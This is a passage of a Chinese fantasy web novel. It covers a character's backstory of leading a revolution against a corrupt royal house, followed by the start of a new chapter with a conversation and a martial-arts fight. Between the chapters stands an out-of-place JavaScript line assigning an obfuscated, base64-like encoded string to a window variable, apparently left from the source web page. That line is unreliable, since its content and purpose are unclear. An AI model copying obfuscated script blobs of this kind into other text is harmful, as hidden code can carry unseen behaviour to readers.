“毕竟A事件惹出了那么多乱子,世界首脑对仿生人与AI事业非常看中,因此如此绝情的措施也是必行之举。谁也不希望A事件再爆发一次,那样沉痛的灾难我们都不想再经历了。” 殇: “确实啊。” 夜歌: “只希望尤菈的一生能够太平吧。她的任职期只有十几年,十几年后也许就是她坐上黄泉列车的时候了。仿生人的命运多是如此,任职期就是他们的生命。承诺中任职期后的休假不过谎言一场,结束使命的时候也就是他们被销毁的时候。” 殇: “那样又是以悲剧结尾了......——那冈子能把尤菈的所有权买过来吗?那样她是不是就不用被销毁了?” 夜歌: “可以是可以,但......那笔高昂的费用,压根不是冈米格拉承担得起的。尤菈的身价起码上十万,一根手指都有几百。” 殇: “那还有别的办法吗?” 夜歌: “也许有吧......这方面我也就只能了解到这些了,具体事态会怎样去发展,我也不大清楚。” 殇: “但愿结局能好些吧。——对了,夜歌。我很好奇一点,你的故事又是怎样的?” 夜歌: “这不能在这里说,得去内阁细细聊。” 殇: “行,走吧。” 说完,夜歌和殇离开饮食厅,回到了一开始见面的内阁。 夜歌与殇在内阁的中心的太极八卦阵中坐下,两人面面相对而坐。在内阁灯光的照耀下,夜歌透过灯光看到了曾经的自我。那段尘封了许久的历史,早在尘埃中被埋没,可留下的记忆是真,只要还有人记得它就未曾死亡。峥嵘岁月后的和平,唯有战士还记得当初。 如今的岁月静好都是缥缈的假象,目睹过人间疾苦的他知晓那美好表面下的牺牲。同他的战友一样,那段岁月也快入了棺材。但那牺牲不会停止,只要时代还在前进。最后的木十字架,是属于他的一人的。 夜歌酝酿下感情,讲起了自己的故事,一段尘封的故事。 故事中: 弹起吉他,我在山上眺望我的故乡。旧势力还在故乡的土地上胡作非为,而新势力唯唯诺诺不敢反抗。从外国留学归来的我,带着一腔热血回到这里,准备改变我的家乡。那年是通历4年,那年我二十四。 吉利塔罗斯皇室控制着这片土地,用皇权压迫这片土地上的人民。吉利塔罗斯内部彻底腐朽、宦官横行、到处都是腐败的样子,百姓被官人压迫到食不果腹;国王沉迷于享乐、荒淫无道,每年的税务征收繁重;又赶上与感染者的战争,大量的人力财力都倾注在了战争上,再加上上层需要享乐,财政告急。人民在这样的环境里苦不堪言,军权和财权又掌握在官人手中,人民没法团结起来反抗。 我不允许这样的事情再继续下去,因此我开始寻找改变这一切的办法。我尝试在思想上改变现状。我举行了不下百场的演讲,想将不想被压迫者团结起来,但遭到了吉利塔罗斯皇室的镇压、干扰。但即便这样,效果依然显着,可是思想改变者的软弱让我无法接受。他们敢于去打破旧思想,可却不敢迈步实践,因为诸多因素束缚着他们。家庭、地位、工作......这些因素是最基本的,也是他们最难舍弃的。想要集结他们的力量,还是困难。 思想的矛无法刺入上层腐朽的心,因而在权力交替之下腐朽永生。 我又尝试着用武力手段改变现状。但没等我实施几回,我就被抓入牢狱,蹲了好几年的监狱。在监狱之中我明白了一个道理:“只是简单的武力反抗无法现状,只是单纯的思想改变也是如此。”这就导致了我在监狱中苦思冥想,花了很长时间去寻找最佳的方案。当然,在监狱之中我也没少去演讲;我的演讲甚至打动了原本讨厌我的狱友,还打动了典狱长及其手下。 我花了一年多跟监狱里的人都打好了关系。典狱长睁一只眼闭一只眼,让我有大把时光能泡在图书馆里查阅资料;顺带着的,我也帮典狱长做些事情,他也帮我弄点外面的情报。典狱长的手下待我不薄,常常给我透露一些外面的小道消息,为了回报他们,我就通过一些特殊手段弄到香烟之类的物品,偷偷塞给他们。我的狱友待我也还行,上面来人检查会帮我伪造无事发生的情景,有时还能在半夜帮我弄个油灯或是手电筒,协助我寻找真相。 我在监狱里一直待到了通历9年。 在监狱里的那段日子,我得知了许多让我心痛的消息。 我的妹妹饿死在了逃难的路上,又逢感染潮来袭,我妹妹的尸骸没能被回收,等我知道这个消息的时候已是我妹妹葬礼之后的第六个月。我是很爱我的妹妹的,可她如今那样离世,我除了惋惜与懊悔什么也做不了。愿我的妹妹能在天堂过得好些,愿她下辈子不再经历今生的浩劫。 我的表哥死在了感染潮之中,他的一家都没能幸免。我的表哥与我关系极好,甚至可以说胜过血缘。他死在了感染潮之中,我深表惋惜。一想到我与他儿时那一段段美好的回忆,我就不由得唉声叹气。愿我的表哥能在天堂过得舒服,别忘了给我留个足球,我去了陪你踢两场。 我的爱人得上了很严重疾病,躺床上不到三个月便离世了。后来我托典狱长调查她死因的时候,我才知道了那段她不忍告诉我的故事。她因为留守在家,又姿色不错,就被某些沾满污秽的人看中。她生前曾遭到官权贵族家子弟凌辱,其情节低俗到不堪入目,遍布污秽!而那严重的疾病就是那样传播到她身上的,这是无端的灾祸!在我失去了她的时候,我差点精神崩溃,险些就放弃了我的事业。可我的狱友和典狱长在我身旁鼓励我,并期待我能如龙一般腾飞。 自那之后我便更加坚定了我的信念,我要改变我的家乡,无论这要我付出怎样惨痛的代价。我要撼碎那黄金壁垒,让那隐匿在冠冕堂皇之下的污秽在太阳的炙烤下焚烧。我要卷动风暴,击碎那满身污秽的海蛇的身躯,让它粉身碎骨。我要以身躯化作烈火,烧尽那腐烂、恶臭的森林。 在我出狱之后,有一个跟我抱有同样志向的人找到了我。他叫比利·桑德斯,是吉利塔罗斯皇家海军上将伽罗·桑德斯的儿子,他是少尉,跟他父亲一样也是皇家海军。但与他父亲那腐朽固执的想法不同,他的思想很开明,也有想打破这腐朽格局的念头。我们一拍即合,顿时感觉找到了彼此的知己与战友。 葛洛(夜歌): “那么从今往后我们就是同一战线的战友了,比利。” 比利: “同一战场,不是敌人就是朋友。很幸运的是,你和我是后者。葛洛,我们一起携手改变我们的家乡安特国吧。” 葛洛: “正有此意。” 比利: “对不住了,父亲。我爱您老人家,但我更爱我的故乡。” 我们携手成立了国家重启组织,简称cRo。 凭借他家室的富裕与人际关系网的庞大,我们拉拢来许多有实力敢实践的革新者。只要有人敢迈步子,后面就有人敢跟。这是人性的诟病,但也是团结众人的最好方式。我们的影响力逐渐变大,越来越多不愿忍受苦难的人站出来加入我们,我们的势力正一步一步壮大。 短短两年风雨岁月,我们cRo组织成员就达到了惊人的7600余人。在我和比利共同演说下,越来越多怯懦软弱的新势力人员开始变得勇敢,也开始投入到实践工作之中。随着这样的人越来越多,cRo从华而不实的状态逐渐变得内外坚挺,实力也随着提高了。 叛徒问题始终让我们头疼,似乎是小人在每个时代都存在。为了一己私利而毁掉大众利益的卑鄙之人,总能在各种关头坏我们的好事。不过比利留了个心眼,往往叛徒身旁都有个监视叛徒的人,一旦有人背叛了我们,比利就会用一些特殊手段让那人进监狱。虽然那样改变不了会泄密的事实,但是这却能让那些高高在上的掌权者们晚一点知道消息。毕竟在他们眼里,囚犯的嘴总是不可信的,因为囚犯总想着出狱。 在我们收集了许久的资料证据,又攒了许多的金钱财富,还集结了一批武装起义军之后,我们终于迎来了解放日的旭日。 那天是通历12年2月13日,是个不错的晴天。那一日,是我们发动革新战争的日子,这一日我们等了太久;同时这也是安特国及其盘踞在上腐朽不已的吉利塔罗斯皇室覆灭前最后的呜咽,他们注将在革新的浪潮中粉身碎骨。 在这一日的黄昏,比利在皇家海军内部发动兵变,策反两艘战列舰的海军士兵。顿时间,两艘满载的战列舰出港。比利他们用事先埋伏好炸弹炸毁了他们身后的港口,对皇家海军造成了难以估量的损失。他所指挥的两艘战列舰对着火光冲天的港口开火,将停在港口上未被击沉的其他军舰击沉。之后,这两艘战列舰驶向首都,准备进行日落行动。 同时间,我从首都旁的郡县中集结起义军,正式打响了革新战争的第一枪。顿时间,几千上万人的部队收到开战消息,立即动身从三个方向向着首都进军。我们所领导的军队声势浩大、势如破竹,同吉利塔罗斯皇家贵族一样腐朽的皇家陆军与空军难以抵挡。再加之皇家陆军内部出现了叛徒,原本对付我们的几处防空炮阵地被策反,开始协助我们推进战线。 只是三个小时过去,西线和南线部队就推进到了首都,随即日落行动开始。两架携带扩音器的飞机呼啸着驶过首都,传达皇家海军已经叛变的假消息。当时信息传播并不灵通,这消息动摇了首都内许多驻军将领的军心。再加之首都附近的水域中出现了比利所指挥的两艘战列舰,这更加剧了这点。 比利通过远程通讯设备,告诉我: “我们这边准备就绪,日落行动准备开始。” 我用远程通讯设备回应他: “明白。准备开炮吧!瞄准点,把教堂、钟楼和国王像都打个粉碎。” 比利用远程通讯设备回应我: “收到。” 几声炮响击碎沉寂的夜,几发炮弹划过天穹、穿过城市,轰碎这黄金壁垒,让明日的阳光注定点燃这污秽。 安特国国家大教堂,一炮轰碎,烈火源源不断地从教堂内喷涌而出,就好像地狱之门在教堂中打开;安特国“天之楼”大钟楼,一炮轰出个拦腰折断,两炮彻底击碎,钟楼的碎片落在广场上,之前宏伟的钟楼瞬间变成废墟。安特国全金制国王雕像,一炮轰碎,黄金碎成漫天黄金叶,似晚秋时木叶的凋零。 几声炮响点燃城市的浪潮,起义军势如破竹进军王宫。城内驻军陷入内乱,纷纷叛变或逃出首都。王宫内的豪绅权贵纷纷陷入慌乱,跑的跑,逃的逃,一时间王宫内只剩下最后的守旧势力,就孤零零的几个人。愚忠的将领领导着首都内最后的守军,与我们的起义军展开殊死抵抗。可最终在我们起义军猛烈的攻势下,最后的抵抗者也倒在了血泊之中。 我领着众将士打进了王宫内部,迎着落日最后的余晖登上了王宫大殿,那是存放着王座的地方,也是能将城市美色收尽眼底的地方。我们到来时,我们看到一个身着国王礼服、抱着王冠的人瘫坐在王座上。我能认出,他并非是国王,而是国王的弟弟。想必他应该是被国王拉来顶死的人,真的国王早就灰溜溜地逃走了。 尽管我知道他罪不至死,但为了平息民愤,我还是一剑将他刺死,当众拿起他怀里的王冠,高高举起,而后重重地砸在地面上。我怀着满心的愤恨,从身旁的将领手中拿过大锤,一锤子砸扁了象征权力的王冠。 葛洛: “永别了,腐朽的王朝。你的废墟之上将建立起乐土,你的死亡注将带来时代的进步。消亡吧,彻底消亡吧。” 那一刻跟我们而来的记者将它拍下,后来登作头版头条。这一锤子,让我被记入了史册。 我和比利及其一派cRo成员绘制的新国旗在王宫上空升起,至此告破这腐朽的吉利塔罗斯王朝。我那时天真的以为战争已经结束,腐朽已经被根除,希望与和平将在这之后到来。但我错了,新的战争被我挑起了。 当我呼叫比利的时候,我才发现远方爆发了海战。我亲眼看到,比利所驾驶的战列舰与另一艘来历不明的战舰相撞,那时那艘战列舰已是遍体鳞伤、伤痕累累的样子。之后比利所驾驶的战列舰覆没在海的正中央,一瞬之间他和那嗖战列舰都消失得无影无踪。 起义军内部爆发了叛乱,另外两支来历不明的军队来到首都附近,与正在内斗的起义军们死战。我当时还未明白局势如何,一把利剑就刺穿了我的胸膛。在一阵剧痛之后,我缓缓倒下。后来不知是谁把我拎起来,又扔了出去。我感觉到我在齿轮上滚动,并且正越滚越快,又是一阵剧痛袭来,我就那样永眠于此了。 我的身旁有内鬼,是其他觊觎统治权的人派来的。他杀掉了我,将一切处理得就如意外一样。不出所料,跟我一同上前的将士也都是他们的人,或是被他们给收买了的人。这样憋屈的死去,我实属没有料到。我最担心的事还是发生了,胜利果实遭到了窃取。内鬼永远是任何团体共同拥有最大的敌人。 起义军在内乱中被其他势力吞并,远古时期的多方争霸在我的家乡再度上演。那时,我的家乡名叫新安特国。 在三大势力鼎立的局面之下,痛苦、纷争、饥荒等灾难正弥漫在我的家乡,那是我不愿看到的景象。战争又持续了半年多,三方都进入休战期,还是没打出个谁胜谁负。不过在这次休战之后,其中一个势力内部的叛军所形成的势力崛起了。这个新势力的领头人是诺普斯·卡斯坦,是罗密欧·卡斯坦的父亲。 这个势力名为“和平联邦”,其骨干人员都是社会上出类拔萃的精英。而且该势力背后有世界首脑支持,因而其名望与实力远超三大势力。在和平联邦明暗双线进攻和渗透的作用下,他们吞并了原来所背叛的实力,成了新东家。在那之后,战事势如破竹,闪电战、间谍战、信息战等战术打得另外两大实力难以招架。最后在和平联邦的耐久战之中,剩下的两大势力被吞并瓦解。 至此,新安特国消亡,取而代之的是幸存者联盟国。 事实上,我在被内鬼刺杀之后并没有死亡。我被一只野狗叼走,进了狗窝又被一个特殊的感染者救走。那个感染者不仅感染了一种疫病,它还感染了一种特殊的猩红色疫病,它可是说是双疫病在身。也许是这第二种的疫病刺激到了它,让它有了神识与感情,它竟没有选择吃掉我。 后来,它不知用了什么办法,让我的体内长出了一颗猩红核心。那核心的力量让我的肉身发生了难以想象的变异。我的肉体逐渐具备了拟态的能力,我自身的再愈能力也因此得到了提高。我可以将手变成刀锋,顷刻间斩断一棵大树;我也可以将双臂变成翅膀,扑腾几下还能做到双脚离地;甚至可以变成一只人鱼,在河流与小溪里遨游。 很可惜,当我能看得清东西时,当我身上的腐烂与伤疤都被拟态治好了时,它早已不在了。在我还看不清东西的时候,我能感觉到有一只温柔的野兽陪在我的身旁,它正一日又一日地照顾我。那种感觉的的确确,真的有东西在陪着我,而且我能感觉到它是人类的模样。那个味道准没错!疫病感染者身上才会散发那样独特的腐臭,我很确定我没有闻错味道。那就是,那就是啊! 我不知那一段时光我是怎么熬过来的,也不知道那善良的感染者现在身处何方。我想,我也许与它失之交臂了,应该再也碰不见了罢。我会常记得,我身上这份强大的拟态,是它赋予给我的;我本该死亡的,是它给予了我第二次生命。它是我的恩人,是我见过最善良的“人”。 当我再次归来,回到那熟悉又有些陌生的家乡。我看到了我最想看到的景象,放眼展望都是安宁与祥和。腐朽的影子再也看不到了,到处都是希望与光明。看到这一切的我,心里别提有多激动、多感动了。我真心觉得,当初我所做的一切,都值得了。 回到城市还没多久,暮年时节的诺普斯找到了我,并与我诉说了这些年故土的变化。诺普斯追加给我英雄的勋章与名誉,并将开国的英灵榜展示给我看。我一看,我发现我的名字就赫然写在其中,写在了第一位。当我看完这个英灵榜的时候,我却一点也高兴不起来。上面没有比利·桑德斯,上面还缺了个英雄的名字。 我提议将他的名字加入其中,我还向诺普斯讲述了我与他的故事。诺普斯听完感动得热泪盈眶,当即决定将比利的名字刻在英灵榜中。为我的兄弟讨回属于他的荣誉之后,诺普斯给了我很大一笔钱,让我自由处理。诺普斯告诉我,这是人民嘉奖给我这个英雄的。我很荣幸地收下这份礼物,之后打量起我余生的计划。 在与诺普斯道别时,我向诺普斯提了个要求。 “请将与我的见面当做秘密,一个只属于我们这代人的秘密。” 他答应了我,并问我为何要这么做。我轻抿嘴唇一笑,一笑间就放下了过去的一切。我笑着告诉他: “葛洛喜欢安静,活着死了都如此。他不希望活着时身边聚太多人,也不希望死了有太多人为他送行。以后请称呼我为夜歌。我喜欢午夜的歌曲,因为我也喜欢安静。” 他对我的回答很是震惊。惊讶过后,他一口答应了我,这次与他的谈话成为了永恒的秘密。告别他之后,我便动身准备找个安静的地方安享余生。 幸存者联盟国,接纳天下被遗弃者的国家,以宽广博大的胸襟向世界展露它的英姿。我亲爱的祖国母亲换了妆容,比之前更加美丽动人了。她虽不及穹顶强大、高耸、触不可及,但她仍是我心目中最强大的那个国家。这是生我的地方,也将是我死去的地方。这是我最爱的地方,无可替代。 安特国已去,幸存者联盟国当在。 一首夜歌弹唱完,又该是一轮新的日出...... 讲完故事,夜歌露出一抹笑容,抬头看着内阁上悬挂的灯。殇见了,有些不解地问道: “夜歌,为何发笑?” 夜歌微笑着回答: “因为我想到了我的祖国母亲。——看着她昌盛的样子,作为她的子女,怎不能因她而欢喜呢?” 殇笑了笑,说: “对呀。我若是你,我也定会因为难掩心中的欢喜而发笑。” 夜歌轻轻吸了一口气,然后慢慢呼出。夜歌告诉殇: “这是我故事的结束,但殿下您的故事还在继续。——我的余生也许很短暂,也可能很漫长。在您还在这片土地上的时候,我会尽我所能地帮助殿下您。我知道殿下现在正在顶着怎样的压力前行,有多少双眼睛正虎视眈眈地看着殿下您呢。” 殇点点头,说: “感谢你的好意,夜歌。” 夜歌的笑容消失,他的表情变得严肃。夜歌说: “殿下,还有个秘密我要告诉你。” 殇好奇地问: “什么秘密?” 夜歌拿出一块嵌有绿石的护符,将该护符展示给殇看。殇看了,疑惑地皱起眉来,问道: “这是什么?” 夜歌皱起眉毛,严肃地告诉他: “这是瘟疫护符,天启的四护符之一。” 殇好奇地问: “那这玩意有啥用呢?” 夜歌告诉殇: “这个东西能给予使用者力量。若我使用它,我的全身就能覆盖致命的瘟疫气息,任何人接触到我都会立即毙命。——要是拿它去战斗,只要对方不是高度赛博化的半机器人,我都能在顷刻间让它毙命。” 殇竖起大拇指,说: “卧槽!牛啊!” 夜歌摇摇头,告诉殇: “但这东西并不好。它是法器的一种,是具备某些功能的。我不希望有恶人得到它,我怕它会造成不必要的毁灭。” 殇好奇地问: “那你该怎么处理它呢?” 夜歌回答道: “将它封藏起来,等待能销毁它的人到来。” 殇点点,说: “这也不尝是种办法。” 夜歌很无奈地说: “暂时也就只能这么处理它了。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第五话:唐德罗拉 通历43年8月29日上午,殇在巨星城内一边闲逛一边寻找可以接受委托的地方。殇自从来了这里,除了夜歌的养生堂能干点活赚钱以外,他没找到什么赚钱的好门道。殇想去当雇佣兵去赚钱,可是不知道哪里是可以接活的地方。没有活就等于没有钱,没有钱都等于没有食物。为了生存,殇必须得找到个接活的地方。 殇: “真是的,换了新地方生活工作是最大的问题。不好意思搭夜歌人情,就只能来找接活的地方。——邵铁华那家伙还坐车回南柯尔罗斯了,一时之间也帮不上我。真是的,我要是像她那样有个铁饭碗就好了。” 殇在街上走着走着,迎面走来了一个熟悉的身影。殇停下脚步,定睛一看,那人竟是法戈·明。殇立即迎上前去,挡在他的面前。 殇: “法戈·明?你咋跑这里来了?” 法戈·明(某分身): “嗯?殇,你怎么跑这里来了?你不该在南柯尔罗斯吗?” 殇: “这个说来话长。——对了,你先告诉我你怎么来这儿了?” 法戈·明: “你看到我非我,你眼前的只是我的分身。” 殇: “哈?” 法戈·明: “这里不方便聊,你跟我去趟巷子。” 然后,殇和法戈·明来到了巷子里偏僻的一角。 殇: “这会你可以告诉我了。” 法戈·明: “你现在看到我只是我的弟子幻化成的投影,俗称分身;我的本体隐藏在一个凡人不可能去到的地方。” 殇: “哦,原来如此啊。那你岂不是什么人外之仙?” 法戈·明: “严格意义上来说是,我在这个世界的主投影的确是仙人。” 殇: “主投影?那你的本体是啥样的?” 法戈·明: “我的本体是真神,恒律太玄始人类明。” 殇: “恒律太玄?!!你认真的?” 法戈·明: “这是实话。” 殇: “卧槽,太行了!” 法戈·明: “不过我实力虽强,但我与自己有约定,绝不干涉人间事物,” 殇: “哦。原来是这样吗......我说那时候为何你不出现。” 法戈·明: “什么?” 殇: “没事。” 这时,法戈·明突然想起了一件事。 法戈·明: “对了,殇。我突然想起一件重要的事。” 殇: “什么事?” 法戈·明: “关于我妹妹莎莉思。” 殇: “你还有个妹妹?” 法戈·明: “名义上的妹妹。我与她之间没有血缘关系。我与她虽有人类之名,但我们本身是真神,不曾具备人类的部分特殊功能。” 殇: “名义上?她也是始人类吗?” 法戈·明: “对,她也是。不过明在意的是力量与挑战,而她在意的是艺术、感情、文学、哲学、创作之类的事。我和她一文一武,彼此都选择各自喜爱的事。” 殇: “原来如此,你们兄妹俩活得还挺休闲的。” 法戈·明: “还可以吧。——对了,殇。我想提醒你一点:若你以后遇到你身边的人凭空多出一个的情况,那你大概率遇到了我妹妹。若想分辨哪个是我妹妹,哪个是本人,你只需要说:‘月光蒲公英真好吃,对吧?’这句话,谁先表示否定,谁就是莎莉思本人。” 殇: “这招可以。我会记住的。——对了,月光蒲公英到底是什么?” 法戈·明嘴角微微上扬,像是想到了什么开心的事。 法戈·明: “神农尝百草,莎莉思吃百花。那时候,她吃了一个蒲公英,吃得满嘴都是绒毛。后来嫌弃蒲公英难吃,就把嘴里的蒲公英吐了出去。恰巧我那时看到了,就调侃了她几句,后来这就成了我和她之间常玩的梗。” 殇: “吃花?你妹妹咋想的?” 法戈·明: “据她本人所说,花结的果子香甜可口,所以她好奇花的味道。于是乎,她就开始了她吃遍世界上每一种花的计划,发誓要像神农尝百草一样尝遍这世上所有的花儿。——这计划直到现在,她一成也没完成。” 殇: “你妹妹可真是呆萌啊。——这种事我第一次听闻,我从未曾料到过此事能发生,我甚至连想都没去想过。今天听你一说,可真是让我大开眼界了。” 法戈·明笑了笑。 法戈·明: “损她归损她,一码归一码。以后要是你遇到我妹妹莎莉思了,别忘替我向她问个好。我猜你和她定能成为好朋友的。” 殇: “行。” 这时,法戈·明表情瞬间变得严肃,他想起了非常重要的事。 法戈·明: “还有,有些事我得警告你一下。” 殇: “什么事?” 法戈·明: “终末法环......它前一阵子被点亮了。是有人借助时间扭曲的缝隙以及某种高科技,强制唤醒了沉睡的终末神。但好在终末神的理性拒绝了那人的请求,这才没能让终末降临。” 殇: “那人......是个白发高个子男子吗?实力很强的那种。” 法戈·明: “没错。——不过那其实是他三大人格的一个。” 殇: “三大人格?” 法戈·明: “你说的那人名叫钟唐岷,是神,但是最弱的那一位。比起与他同源的卡门和俄拉图恩,他贫弱的弊病就特别明显。在神明里面,他非常弱小,他就连我的妹妹莎莉思都打不过,而且诸多半神都可以轻松虐杀他!” 殇: “啊?不可能的吧?” 法戈·明: “我知道你想说什么,殇。——你那时被他打败,并非是你不及他强大,而是他用了不属于他的力量——那是希德薇拉的力量。” 殇: “我说的呢。还以为他是个很强大的存在呢。” 法戈·明: “殇,即便如此你也方不可轻敌。他阴险狡诈的很呢。” 殇: “知道了。——那他为何要点亮终末法环呢?” 法戈·明: “除他本人以外没人知晓。” 法戈·明: “还有一点。——可惜的是,终末法环点亮的一瞬,冥古之力就从法环内弥散向了整个世界。这力量注定唤醒诸多沉睡的神只,到时候腥风血雨是不可避免的;许多变数即将位临这个世界。——殇,你要做好准备。这个世界的守护者们更要做好准备。” 殇: “看来......又有新的挑战了。” 法戈·明: “你和伊多加小心吧。警惕那些人与神,他们的思绪你们无法揣测,他们的意图你们更无法知晓。” 殇: “明白。” 法戈·明: “话先说到此处。总之要多思多想,小心谨慎为重。——殇,我还有事,我得先撤了。我不能与你们通话太长时间......” 这时,殇想起了正事。他正在寻找接活的地方,既然遇到之前帮助自己找到接活地点的法戈·明,他定不会放弃这个机会,便向法戈·明打听起幸存者联盟国的雇佣兵委托处理地点。 殇: “对了,法戈·明。你知道这个国家哪里可以接委托吗?” 法戈·明: “你偏爱战斗,这的确是你要担心的问题。——嗯......让我想想。——诶!的确好像有这么的地方。” 殇: “在哪里?” 法戈·明: “不过你去不了。” 殇: “为啥?” 法戈·明: “那个地方要你付出一些代价。可代价你和你的朋友都无法承担,你只能放弃罢了。” 殇: “好吧。——看来我还得转个行啊。” 法戈·明: “不必担心。很快委托就找上门,你也闲不了几时。” 殇: “你为何这么确信?” 法戈·明: “我是中间人。别忘了这点,殇。” 殇: “哦!!我明白了。看来我得跟你好好打打交道了。” 法戈·明: “随你。——如果有委托了,我会联系你的。——恳请你时刻做好准备,你面临的委托或是挑战会愈发危险的。” 殇: “嗯。——再会,法戈·明。” 法戈·明: “有缘再见。” 告别完法戈·明,殇离开巷子,继续街上闲逛。有了法戈·明保他的底,他倒没那么担心生机问题。可他的性子倔强,能自力更生就不去欠别人的人情,这是他一直以来的作风;除非是遭遇难以处理而不得不寻求别人帮助的事,不然他是不会开口向别人寻求帮助的;但在某些小到鸡毛蒜皮的小事上,他有时睁一只眼闭一只眼。因此,殇仍在寻找接活的地方。 找着找着,殇不经意间走到一个建筑工地旁,突然听到建筑工地内一阵骚动。殇停下脚步,抬头瞅了瞅这个建筑工地。这里正处于休工期,理应没有工人逗留,可是现在出了骚动,想必内部定有什么事。殇有些好奇,就走进建筑工地,往里面瞧了瞧。 殇什么异样也没发现,那骚动的声音随着殇的进入而消失了。这很奇怪,殇敏锐地意识到事情不对。殇正要转身离开,只听得背后一阵急匆匆的脚步声,随即一把碎骨锤就向他打了过来。殇垫步前冲接转身,又一个后跳与背后的袭击者拉开距离。这一系列动作堪称流畅到丝滑。 殇落地后,定睛一看,袭击自己的是个有仙人掌绿发色的、表情严肃的女子,其目测身高约170厘米。仔细观察,她一手拿着碎骨锤,一手扛着四棱铁棍剑,一副女战士的模样;身穿一身黑西服,打着红色领带,腰间别着两个吊玉坠子,一头整齐的高马尾,其上的小皮套上还装饰有两只小熊,看着既利整又漂亮。 见到她的瞬间,殇竟丝毫没有惊讶。这种被突袭的事他遭遇过不止一次两次了,他早已习惯。殇静静地伫立在原地,等待她其他同伙的现身。 那名女子见到殇后十分开心,似乎像是猎人找到了猎物一般。她自信地微微翘首,高声叫道: “终于让我找到你了!我可是期盼你好久了呢,殇......——就是你丫的对红色收尾人大哥不敬对吧?那既然如此,就让我会会你。看看你靠什么阴招赢的红色收尾人。” 她把手一甩,铁棍剑击地一声清脆;她又将手慢慢上提,好好拿紧了手中的兵器。她的眼神锐利,好似鹰隼;她的站姿庄重,好似淑女。女子的柔弱未在她身上体现半分,如热血男儿一般的战意正散发在她的身上。 她见殇一动不动,就做了个战前宣言。她抿嘴,闭眼,嘴角上扬笑了一笑;她睁眼,开口,用恶狠狠地语气告诉殇: “我是唐德罗拉,二星中阶调解人。准备好接受你的失败了吗?殇。” 殇听她这么说,猜她就独自一人,后也便不再警觉。殇耸了耸肩,又如老师傅般背起手来,一脸和谐地告诉她: “来,让我看看。” 殇摆出战姿,决定赤手空拳去应对。见殇这样,唐德罗拉不由得有些慌张。赤手空拳去战斗,对于她来说无疑是送死。她后倾了一下,本能地小挪了一步。 “别那么害羞,孩子。让我见识下你的实力。” 唐德罗拉阴下脸来,有些生气地咬了咬牙,表情透露出她的不满。她握紧手中的兵器,一个加速冲刺来到了殇的面前。说时迟那时快,在两人距离凑近的一瞬间,唐德罗拉甩手使出二连横扫,一棍一锤就招呼了过去。殇灵活地闪避,似蝰蛇一样躲开了唐德罗拉的全部攻击。殇出拳,拳头在唐德罗拉面前停住了,殇打出了一记带有恐吓与嘲讽的一拳。 唐德罗拉: “你这家伙!” 唐德罗拉被激怒了。嗖嗖两下,唐德罗拉使出二连重锤打击,但可惜都被殇躲开了。唐德罗拉不气馁,轮动手中的铁棒剑就是回旋斩接突击上挑,但又被殇给躲开了。唐德罗拉怒了,两只手一起挥动,使出了凌乱又致命的杀戮连击;为防止殇再能躲开,唐德罗拉的这一招伴随着她灵巧的动步,横移、前冲、跳跃打击一同使出。但即便是这番猛攻,殇依然游刃有余地全数躲开。殇甚至没招架对方的攻击,只是躲闪。这一套攻击打完,唐德罗拉舞转手中的兵器,跃起接一个下劈打来,又被殇给躲开了。殇的身法与唐德罗拉不是一个量级的,两人实力的悬殊就在这点上突出。 唐德罗拉心里: “好强!这样高超的身法,不愧是能让岚炎大哥蒙羞的人。看来,我得使出些狠招来了。” 唐德罗拉将核心能量汇聚在手中的兵器上。突然,唐德罗拉发动突然袭击,一个跳劈斩打来,不出意外又被殇躲开了。唐德罗拉用力挥动手中的兵器,使出了迅猛的五连斩击但都打了空。唐德罗拉压低身体,一个飞快的无影步向前突进,同时飞速挥动手中的铁棒剑,殇一个月球漫步式侧移躲开了。 殇: “不错嘛,孩子。” 唐德罗拉突然飞速转动手腕,她用手中的铁棒剑释放出一道翠绿色月牙剑气,剑气飞速袭向了殇。殇瞬间侧步横移躲开,唐德罗拉追上前去追刀,想贪几刀。但殇岂会给她这个机会,在唐德罗拉凑近的一瞬间,殇飞快地使出猎犬侧步拉进两人距离,接着一个扫堂腿打出。唐德罗拉被殇这一招扫倒在地。殇不按套路出牌,扫倒对方后竟无动于衷,站在原地等对方起来。唐德罗拉感受到羞辱,她愤怒了。唐德罗拉以其人之道还治其人之身,对殇用出扫腿,殇后撤两步躲开。唐德罗拉起身,准备出招。这时,殇找到机会,准备用出一记狠招结束战斗。 殇: “你无了,孩子。” 殇垫步向前一个推掌,打断唐德罗拉。唐德罗拉往后踉跄了一下,暴露致命破绽了。殇猛地向前跃进,飞速打出三掌;下巴、小腹、胸口,三位一体,打得唐德罗拉险些栽倒过去。殇跳起接转身一个回旋踢打出,正中颈部,一击打倒唐德罗拉。唐德罗拉倒地,殇拽起她的胳膊将她拉起,接着用出骤雨打击,十三轻拳连打在她的身上。唐德罗拉被打得后撤三四步,她这时全身颤抖,战意都被打得干净。 最后一击,殇向前冲刺,一个飞脚踹翻唐德罗拉。唐德罗拉倒地,殇取得了胜利,殇以华丽的姿态结束了战斗。 殇背起手来,对唐德罗拉夸赞道: “打得不错,孩子。” 殇放下手,又对唐德罗拉伸出手来,想拉她起来。唐德罗拉见殇这样,既不服气,又很生气。唐德罗拉倔强地站了起来,没去拉殇的手。起身后,唐德罗拉重新拿起兵器,很不服地说: “休得侮辱我!你这家伙。” 唐德罗拉再度发起进攻,但很快就被殇一一反制,最后双手中的兵器全被殇夺去并扔到了一旁。最后时刻,唐德罗拉用体术与殇战斗,但实力要逊色于殇的她怎能打得过殇,没出几回合她就败下阵来。殇用镇魂掌一掌将她拍倒在地,拍得她全身发颤。殇再次结束了战斗。 唐德罗拉还不服气,还想起身继续战斗。这时,殇一把拿起一旁的碎骨锤,接着一锤子狠狠地打来。唐德罗拉见到后吓坏了,一时间全身都僵住了,仿佛她的肌肉变成了木头。当的一声,这一锤打在地上,还给唐德罗拉吓个半死。唐德罗拉以为自己差点死掉,心脏都在那一刻停止了跳动。 殇缓缓松开握着锤柄的手,轻轻地抚摸了下唐德罗拉的头,就像安抚一个受惊的孩子。片刻后,殇将手抽回,又背起手来像个老师傅一样审视唐德罗拉。殇嘴角微微上扬,露出一抹微笑。殇轻声说道: “这,就是武德。” 殇又接着说道: 